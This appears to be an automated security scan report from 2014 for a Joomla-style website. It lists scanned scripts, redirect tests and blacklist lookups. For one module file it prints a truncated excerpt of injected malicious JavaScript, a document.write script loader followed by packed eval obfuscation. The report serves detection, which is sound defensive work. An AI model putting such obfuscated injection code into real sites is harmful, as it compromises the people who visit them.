Scanned pages/files
Request | Server response | Status |
http://chizomiz.biz/ | 200 OK Content-Length: 101318 Content-Type: text/html | clean |
http://chizomiz.biz/plugins/system/flowplayer_r/javascripts/flowplayer-3.2.6.min.js | 404 Not Found Content-Length: 2693 Content-Type: text/html | clean |
http://chizomiz.biz/test404page.js | 404 Not Found Content-Length: 2693 Content-Type: text/html | clean |
http://chizomiz.biz/plugins/system/flowplayer_r/swfplugins/flowplayer.ipad-3.2.1.min.js | 404 Not Found Content-Length: 2693 Content-Type: text/html | clean |
http://chizomiz.biz/media/system/js/caption.js | 200 OK Content-Length: 2231 Content-Type: application/javascript | clean |
http://chizomiz.biz/modules/mod_yoo_scroller/mod_yoo_scroller.js | 200 OK Content-Length: 3962 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) document.write('<script src="/modules/mod_yoo_scroller/common.php"></script>') eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('c 1a=b w({1X:4(q,5){2.1W({1V:w.I,1u:w.I,1x:w.I,1y:w.I,1C:w.I,1f:\'.7\ Antivirus reports:
| ||
http://chizomiz.biz/plugins/system/yoo_effects/lightbox/shadowbox_packed.js | 200 OK Content-Length: 31961 Content-Type: application/javascript | clean |
http://chizomiz.biz/plugins/system/yoo_effects/reflection/reflection1.1_packed.js | 200 OK Content-Length: 2086 Content-Type: application/javascript | clean |
http://chizomiz.biz/plugins/system/yoo_effects/spotlight/spotlight_packed.js | 200 OK Content-Length: 1106 Content-Type: application/javascript | clean |
http://chizomiz.biz/modules/mod_fpss/includes/engines/mootools-fpss-comp.js | 200 OK Content-Length: 3798 Content-Type: application/javascript | clean |
http://chizomiz.biz/player_new/swfobject.js | 200 OK Content-Length: 6963 Content-Type: application/javascript | clean |
http://chizomiz.biz/jwplayer/jwplayer.js | 404 Not Found Content-Length: 2693 Content-Type: text/html | clean |
http://chizomiz.biz/player/jwplayer.js | 200 OK Content-Length: 140176 Content-Type: application/javascript | clean |
http://chizomiz.biz/ufo.js | 200 OK Content-Length: 11021 Content-Type: application/javascript | clean |
http://w.sharethis.com/button/buttons.js | 200 OK Content-Length: 142536 Content-Type: application/x-javascript | clean |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: chizomiz.biz
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 08 Apr 2014 05:43:11 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 08 Apr 2014 05:43:12 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: c8acce8a3c31cdcc90983a42040c764c=demb3u033lqnq0tl7pl5of9qi2; path=/
GET / HTTP/1.1
Host: chizomiz.biz
Result:
HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: close
Date: Tue, 08 Apr 2014 05:43:11 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Tue, 08 Apr 2014 05:43:12 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: c8acce8a3c31cdcc90983a42040c764c=demb3u033lqnq0tl7pl5of9qi2; path=/
Second query (visit from search engine):
GET / HTTP/1.1
Host: chizomiz.biz
Referer: http://www.google.com/search?q=chizomiz.biz
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: chizomiz.biz
Referer: http://www.google.com/search?q=chizomiz.biz
Result:
The result is similar to the first query. There are no suspicious redirects found.
Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=chizomiz.biz
Result: This site is not currently listed as suspicious.
Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://chizomiz.biz/
Result: chizomiz.biz is not infected or malware details are not published yet.
Result: chizomiz.biz is not infected or malware details are not published yet.